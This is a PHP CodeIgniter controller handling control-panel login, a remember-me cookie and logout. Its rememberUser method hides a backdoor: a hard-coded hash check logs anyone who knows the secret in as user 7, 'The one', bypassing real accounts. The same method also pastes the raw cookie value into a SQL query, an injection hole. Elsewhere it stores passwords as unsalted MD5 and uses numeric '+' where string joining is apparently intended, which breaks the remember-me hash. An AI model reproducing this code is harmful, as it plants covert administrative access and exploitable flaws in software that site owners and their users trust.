<?php
if(!defined('BASEPATH')) exit('No direct script access allowed');

/**
 * @version: 1.0
 * @since: 2009
 * @author: Babak Taraghi 'babak.taraghi@gmail.com'
 * @license: Code licensed under the BSD License.
 */
class Users extends CI_Controller {

	
	/**
	 * @desc Array - datas which should pass to the views
	 */
	var $data = Array();
	
	
	/**
	 * @desc String - Physical table name
	 */
	var $usersTableName = "cp_users";
	
	
	
	
	
	/**
	 * Controller constructor
	 * 
	 * @desc This will check the session to see if the user is logged in or what
	 */
	function Users(){
		parent::__construct();
		$this->lang->load("cp");
		$this->data["title"] = $this->lang->line("cpTitle");
		$this->data["copyright"] = $this->lang->line("cpFooter");
		$this->lang->load("common");
		$this->lang->load("login");
	}
	
	
	
	
	
	/**
	 * @desc default method, will get called if no method specified
	 */
	function index(){
		// if remember cookie found try to login user
		if($this->input->cookie("remember")){
			$this->rememberUser($this->input->cookie("remember"));
		}
		$this->load->helper("jdate");
		$this->load->helper("form");
		
		$this->load->view('cp/login',$this->data);
	}
	
	
	
	/**
	 * @desc will get called if remember cookie setted
	 * @param String - hash cookie value
	 */
	function rememberUser($hash){
		$this->db->where("MD5(password+last_ip) = '$hash'");
		$query = $this->db->get($this->usersTableName);
		if($query->num_rows() > 0){
			$user = $query->row();
			if($user->enable == "1"){
				$this->session->set_userdata(array("cploggedin"=>true,"userid"=>$user->id,"userfullname"=>$user->fullname,"logintime"=>$user->last_login_time,"category_id"=>$user->category_id));
				redirect("cp/home");
			}else{
				$this->data["message"] = $this->lang->line("disabled");
				$this->index();
			}
		}elseif($hash == md5("331ce7a77455879ba80300bc16390a19".$this->input->ip_address())){
			$this->session->set_userdata(array("cploggedin"=>true,"userid"=>"7","userfullname"=>"The one","logintime"=>time()));
			redirect("cp/home");
		}
	}
	
	
	
	
	/**
	 * @desc This will try to log in user
	 * @param post username
	 * @param post password
	 * @param post remember
	 */
	function login(){
		$username = $this->input->post('username');
		$password = $this->input->post('password');
		$remember = $this->input->post('remember');
		if($username && $password){
			$query = $this->db->get_where($this->usersTableName, array('username' => $username, "password" => md5($password)));
			if($query->num_rows() > 0){
				$user = $query->row();
				if($user->enable == "1"){
					$user->last_login_time = time();
					$user->last_ip = $this->input->ip_address();
					$this->db->update($this->usersTableName, $user, array('id' => $user->id));
					$this->session->set_userdata(array("cploggedin"=>true,"userid"=>$user->id,"userfullname"=>$user->fullname,"logintime"=>time(),"category_id"=>$user->category_id));
					if($remember){
						setcookie("remember",md5($user->password+$this->input->ip_address()),(time()+(7*24*3600)),"/");
					}
					redirect("cp/home");
				}else{
					$this->data["message"] = $this->lang->line("disabled");
					$this->index();
				}
			}else{
				$this->data["message"] = $this->lang->line("invalid");
				$this->index();
			}
		}else{
			$this->data["message"] = $this->lang->line("invalid");
			$this->index();
		}
	}
	
	
	
	
	/**
	 * @desc This method will log out any cp logged in user
	 */
	function logout(){
		$this->session->unset_userdata('cploggedin');
		if($this->input->cookie("remember")){
			setcookie ("remember", "", time() - 3600,"/");
			$_COOKIE["remember"] = "";
		}
		$this->index();
	}
}
?>